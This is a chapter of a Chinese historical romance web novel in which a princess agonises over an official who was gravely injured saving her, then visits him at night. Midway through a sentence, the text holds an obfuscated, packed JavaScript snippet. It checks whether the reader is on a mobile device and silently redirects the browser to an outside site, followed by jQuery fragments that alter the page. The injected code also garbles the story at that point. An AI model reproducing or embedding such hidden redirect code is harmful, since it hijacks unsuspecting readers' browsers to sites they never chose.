夜已深,江叙风的屋中还灯火通明,气氛焦灼,几个侍从健步如飞,捧着热水和纱布在屋内外来回穿梭。
林画月和燕怀誉候在院中,浓重的血腥味和器具碰撞的声响让时间极度难熬,每次主屋的门打开,他们立刻起身,可进进出出的只有侍从,始终没有一个能真正道清楚状况的人出来。
四个大夫进去两个多时辰了还没有出来,林画月坐不住了,起身在院子中来回踱步。林画月对江叙风的身子骨相当没有信心,那些巨大的砖瓦、尖利的断木直接砸下,就算是一个常年习武身强体壮的壮汉,经此一遭恐怕都九死一生,更何况是江叙风。
林画月深吸一口气强迫自己镇静。说实话,当她和江叙风刚被救出来,她看见江叙风那副的奄奄一息的模样时,她相当气愤。
他为什么要冲上来?他是不是拎不清自己几斤几两?
可若江叙风没有护住她,她现在又如何能够安然无恙地站在这里?她的愤怒毫无道理。
林画月越想越乱,越乱她踱步越快,几乎要踱出残影。
“皎皎,别走了。”燕怀誉拉住她,带着歉意开口,“对不起,当时离你最近的明明是我。”
“没事,不怪你。”林画月摇头,甩开燕怀誉的手继续踱步,“我现在乱得很,我想不明白,江叙风为什么会救我?”
“若是我的话,能让我舍身相救的人,一定是一个对我而言很重要的人。”
林画月乜看着他:“我是江叙风很重要的人?开什么玩笑,他烦我烦得要死。”
燕怀誉:“关键时刻注意点避讳行不行?”
林画月赶紧呸呸呸,双手合十朝天拜三拜,改口:“他烦我烦得命硬如牛。”
“老实说,我倒不觉得江少师救你是件多稀奇的事,”燕怀誉说,“你忘了你装病那次他是怎么说的?你若出事,责任在他,他恐怕只有以死才能在皇上和武宁王面前谢罪。从某种意义上来说,你确实是他很重要的人。”
林画月脚步一顿。
“是了,只有这样才说得通。若我死了,陛下的态度不好说,但爹爹和太后绝对不会饶过他。”
“是,”燕怀誉接话,“所以还不如拼一把,九死一生好过死路一条,说不定还能博得一个舍身救主的美名,从此让武宁王府对他服服帖帖,武宁王身后那么多武将,自然也会对他钦佩有加。”
“可是风险会不会太大了?”这个推论虽然很符合江叙风做事的风格,但林画月还是有些迟疑,“这是拿命在赌啊,万一阎王偏想收了他,那不就什么都没有了?”
燕怀誉摇头:“只敢做稳妥之事的人注定平庸。你以为他是怎么走到现在这个位置的?不是只有打仗才刀尖舔血,朝堂上的厮杀不比战场温和,甚至更险恶。”
林画月明白了:“想要突出重围,往往靠的就是一个出奇制胜。”
想通了这一层,林画月心中沉甸甸的愧疚感稍微消退了一些。
可当她低头看见自己衣服上大片干涸的血迹,不由心头又揪紧起来。
“吱呀——”主屋门打开,大夫终于跟在广修身后走出来。
“情况如何?”林画月和燕怀誉同时快步迎上前。
一位须发苍白的老大夫重重叹了口气:“江少师伤势十分惨烈,肋骨与肩胛骨多处骨折,险些伤及肺腑,失血过多,万幸的是,最危险的一关勉强算是熬过来了,眼下江少师高热未褪,接下来几天还需观察。”
老大夫顿了顿,补充道:“只是江少师背部创伤极重,即便日后愈合,也会就下病根。”
“那他醒了吗?”林画月嗓音干涩,“我们能进去看看吗?”
大夫摇头:“高热褪去之前恐怕醒不了,病人还是静养最宜。”
“好。”
广修送四位大夫出去,林画月还无措地站在院中望着灯火通明的屋子。
“走吧,”燕怀誉拉拉林画月袖子,“等江少师醒了,我们再来看望吧。”
—
江叙风在剧痛和燥热中睁开眼,全身大汗淋漓。
广修听到动静赶紧进来,看见江叙风醒了,他顿时在想哭和强忍着不哭的表情间来回切换,看着略显滑稽,广修实在忍不住了,干脆甩头向外跑去:“大人醒了!我去叫大夫!小五,你赶紧照顾大人。”
江叙风身上缠满绷带和固定断骨的硬板,动一下都困难,小五一边扶着江叙风坐起来一边擦泪道:“大人,你可算醒了!你整整昏睡了三日,水米不进,大夫们什么法子都试过了,你一点反应也没有,小的们真是急坏了,悬着心日夜都不敢合眼。”
小五平日温顺少言,一激动起来就变得喋喋不休:“诸位大人们也都忧心得不得了,日日都遣人来问安,万幸老天保佑,大人终于挺过来了。”
江叙风薄薄的眼皮缓慢抬起,哑声道:“郡主有遣人问过吗?”
小五神情怨怼:“郡主一次也没来问过,小五真替大人不值,大人落得这幅境地,还不是——”
“行了,”江叙风打断他,“我自己待会儿,你下去吧。”
小五走后,江叙风敛目靠在床头,刚刚因苏醒恢复了一丝生机的脸上再次沉寂如死水。比起身体的疼痛,此刻刺穿心脏的失望和酸楚更让他难以承受。
整整三天,林画月竟然一句都没有过问过,她对谁都能大方地释放热情和善意,怎么独独对他这般吝啬?
他把他的心意,甚至性命都捧到林画月面前,可她通通不屑一顾,是他不配吗?
江叙风将脸埋进掌心,愤怒、不甘和一种荒谬的自弃感将他淹没,可他对她的渴望在痛苦中愈演愈烈,如一场盛大的凌迟。
他还是想要她。
毫无道理,毫无逻辑。
一种乱杂且理不清的躁郁之感压顶而来,江叙风急促喘息,可仍是缓不过气,窒息感在慢慢将他绞杀。
八年来,他仅有的两次情绪失控竟然都是因为她。
江叙风向后靠重重抵在床头,檀木床头硬质的雕花嵌进他伤痕累累的后背,极致的疼痛之下,求生的本能让理智逐渐回笼。
他缓缓移开双手,指腹按压在额角,待到思绪平稳,他长舒一气。
一抬头,心跳差点停滞。
林画月正倚坐在窗槛上看着他。
—
小五刚离开,林画月就坐在这里了。
江叙风昏迷不醒的这三天里,林画月度日如年,虽然她知道江叙风此举不是为了她,仅仅是一场以大博大的赌局,但负罪感与愧疚还是压得林画月喘不过气,干什么都提不起兴致,她干脆什么也不干了,每天用轻功偷偷潜入江叙风院中,隔着窗户看他恢复得如何。
可江叙风的状况不容乐观,他一天天消瘦下去,面色越发苍白近乎透明,大夫们在屋内急得团团转,她屋外的树杈上亦是焦灼得差点掉下来。
好在皇天不负有心人,江叙风总算醒了。
见江叙风终于发现她在这里,林画月扬手隔空熄灭了烛灯,室内顿时漆黑。虽然于心有愧,但宝船上江叙风对她的羞辱还历历在目,林画月实在不想让江叙风看出她的关切,不想让江叙风得意,更不想让他觉得他又可以拿捏她了。
眼睛还没有适应昏暗的光线,江叙风看不清她的表情,她也看不清江叙风的,黑暗中,她听见江叙风沙哑虚弱
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16291822|180581||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的声音:“你来多久了?”
“有一会儿了。”
江叙风呛咳两声:“你刚才都看见了?”
“你是指什么?”林画月扬眉,“如果是指小五没给你打水,你就用手干搓脸的话,那我确实都看见了。”
“……”
眼睛终于适应了昏黑。月光将江叙风的影子投射在床边的墙上,影子消瘦单薄,只有胸腔在微弱起伏,伴随着断断续续的呼吸声,偶有几声拉扯到疼痛处的喘息。
气氛诡异的沉默。
“你来做什么?”江叙风先问。
林画月梗着脖子:“来看你死了没有。”
他神色冰冷,几乎咬牙切齿:“抱歉,恐怕要让你失望了。”
“习惯了,你一向擅长让我失望。”她争锋相对。
“倒是我的不是了,”江叙风嗤笑一声,他撇开视线,“此处凌乱,不值得郡主踏足,请回吧。”
等了一会儿,见林画月没有要走的意思,江叙风艰难地撑着床柱,费力探身要将床幔放下。要命的刺痛让他冷汗直流,他咬紧牙关,一点一点扭转上半身,手指距离床幔的金钩还有两寸、一寸、就快触碰到了,就在这时,固定断骨的硬板因为身体过大幅度的偏转轻微移位,断骨不知戳到了哪里,剧痛中他重心失衡差点从床边跌落。
林画月不忍再袖手旁观,她赶紧跃下窗台将他扶稳。
“乱动什么!还要不要命了?你想做什么说一声不就成了。”
江叙风眼皮轻颤,唇色惨白如纸:“不必管我。”
林画月替他放下床幔掩好,她在床幔外默默唾弃了一番自己死要面子的行为,诚实道:“行了,刚才那些都是骗你的,我是来道歉的。”
江叙风在床幔中没有反应。
“要不是我喝醉酒,我完全可以自己避开彩楼,也就不会牵连到你。”林画月说,“还有,不管你是出于什么原因救我,我都真心谢谢你。”
林画月手心都在冒汗,可还没等到江叙风的回答,门外先响起了广修和大夫的脚步声。
林画月立刻转身要走。
“别走!”江叙风抓住她的手腕。
江叙风此刻没什么力气,林画月很轻易就挣脱开来。
“我拦不住你,”江叙风握空的手垂落在床边,腕骨伶仃,“但能不能看在我已经这么惨了的份上,就顺着我一次。”
这让林画月无端想到一只被主人丢弃狗,正湿漉漉站在暴雨中茫然徘徊。她心下一软。
脚步声越来越近,林画月快速将江叙风的胳膊塞回床幔内:“我去屋顶。”
林画月从窗外一跃而起,在屋顶找了块隐秘些的地方躺下,她双手枕在脑后,望着黑漆漆的夜空,耳朵竖起来仔细听着屋内的动静。
大夫说:“高热已退,伤口也没有溃烂,体征与脉象都还算平稳,能恢复成这样已经是最好的结果,接下来只需好好静养,每日按时吃药换药,骨头长好之前不可大幅度活动。”
“多谢大夫。”广修感激涕零,“小五,你跟我一起送大夫出去吧。”
小五:“我留下照顾大人吧。”
“大人睡觉有什么好照顾的?需要你的时候自然会叫你,走走走。”
确定人都走光了,林画月才从屋顶下来,可她站在窗边又犹豫起来。
她想说的话已经说完了,再进屋里她还真不知道该说些什么,江叙风让她别走,兴许是他还有话没说完?
可眼下江叙风没有再叫她,恐怕已经忘了她还在这里。
林画月走也不是留也不是,纠结踌躇了好半天,最终还是悄悄掩着脚步声消失在夜色中。